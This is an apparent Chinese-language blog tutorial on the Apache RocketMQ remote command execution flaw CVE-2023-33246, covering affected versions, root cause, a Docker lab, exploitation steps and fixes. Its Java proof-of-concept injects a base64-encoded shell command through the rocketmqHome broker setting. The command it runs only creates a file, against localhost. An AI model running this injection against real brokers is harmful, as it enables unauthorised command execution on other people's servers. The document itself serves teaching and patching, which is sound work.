RocketMQ 远程命令执行漏洞 (CVE-2023-33246)简明原理与利用脚本

927 阅读3分钟

漏洞描述

Apache RocketMQ 存在一个安全漏洞,允许攻击者远程执行命令。简单来说,如果你的 RocketMQ 的 NameServer、Broker 等组件暴露在公网上,并且没有进行严格的权限验证,黑客就可以利用这个漏洞,通过更新配置的方式,以 RocketMQ 运行的系统用户身份执行恶意命令。

受影响版本

  • 5.0.0 <= Apache RocketMQ < 5.1.1
  • 4.0.0 <= Apache RocketMQ < 4.9.6

漏洞原理

这个漏洞的根源在于 RocketMQ 的 FilterServerManager 类。这个类负责管理消息过滤服务器,但其中存在可以执行系统命令的风险。

具体来说,FilterServerManager 在启动时会定期执行 createFilterServer 方法,而这个方法会调用 FilterServerUtil.callShell 来启动过滤服务器。callShell 方法允许执行任意的 shell 命令,如果攻击者能够控制传入的参数,就可以执行恶意命令。

实际场景例子

假设你运营一个电商平台,使用 RocketMQ 来处理订单消息。如果你的 RocketMQ 服务器存在这个漏洞,黑客就可以通过发送恶意请求,修改 RocketMQ 的配置,让其执行恶意命令,例如:

  • 窃取数据库中的用户信息
  • 篡改商品价格
  • 在服务器上安装恶意软件

环境搭建

为了重现和学习这个漏洞,可以使用 Docker 搭建一个存在漏洞的 RocketMQ 环境:

docker pull apache/rocketmq:4.9.5
docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.5 sh mqnamesrv
docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.5 sh mqbroker -c /home/rocketmq/rocketmq-4.9.5/conf/broker.conf
docker ps

漏洞利用

  1. 找到目标 Broker:首先,你需要找到目标 RocketMQ Broker 的地址。
  2. 构造恶意 Payload:构造包含恶意命令的 Payload。例如,使用 touch /tmp/success 在目标服务器上创建一个文件。
  3. 发送恶意请求:利用 DefaultMQAdminExt 类,向目标 Broker 发送包含恶意 Payload 的请求,更新 Broker 的配置。
  4. 触发漏洞:等待 FilterServerManager 定期执行 createFilterServer 方法,触发命令执行。

演示代码

import org.apache.rocketmq.client.exception.MQBrokerException;
import org.apache.rocketmq.client.exception.MQClientException;
import org.apache.rocketmq.client.impl.MQClientAPIImpl;
import org.apache.rocketmq.common.BrokerConfig;
import org.apache.rocketmq.remoting.exception.RemotingConnectException;
import org.apache.rocketmq.remoting.exception.RemotingSendRequestException;
import org.apache.rocketmq.remoting.exception.RemotingTimeoutException;

import java.io.UnsupportedEncodingException;
import java.util.Properties;

public class Exploit {
    public static void main(String[] args) throws MQClientException, InterruptedException, RemotingConnectException, RemotingTimeoutException, RemotingSendRequestException, MQBrokerException, UnsupportedEncodingException {
        Properties properties = new Properties();
        properties.setProperty("filterServerNums","1");
        properties.setProperty("rocketmqHome","-c bash${IFS}-c${IFS}\"{echo,dG91Y2ggL3RtcC9kZGRkZGRkYWE=}|{base64,-d}|{bash,-i}\";");
        org.apache.rocketmq.client.impl.tools.DefaultMQAdminExt defaultMQAdminExt = new org.apache.rocketmq.client.impl.tools.DefaultMQAdminExt();
        defaultMQAdminExt.setNamesrvAddr("localhost:9876");
        defaultMQAdminExt.start();
        defaultMQAdminExt.updateBrokerConfig("127.0.0.1:10911", properties);
        defaultMQAdminExt.shutdown();
    }
}

代码解释

  1. 设置 filterServerNums 为 1,确保 createFilterServer 方法会被执行。
  2. 设置 rocketmqHome 包含恶意命令,这里使用 base64 编码绕过空格限制,创建一个文件 /tmp/dddddddaa
  3. 使用 DefaultMQAdminExt 连接到 RocketMQ,并更新 Broker 的配置。

漏洞修复

  • 升级版本:升级到 >= 5.1.1 或 >= 4.9.6 的安全版本。
  • 权限验证:对 RocketMQ 的各个组件进行严格的权限验证,避免未经授权的访问。
  • 移除 Filter Server:如果不需要消息过滤功能,可以直接移除 Filter Server 模块。

总结

Apache RocketMQ 远程命令执行漏洞是一个严重的安全问题,可能导致数据泄露、服务中断等严重后果。建议大家尽快升级到安全版本,并加强权限验证,避免被黑客利用。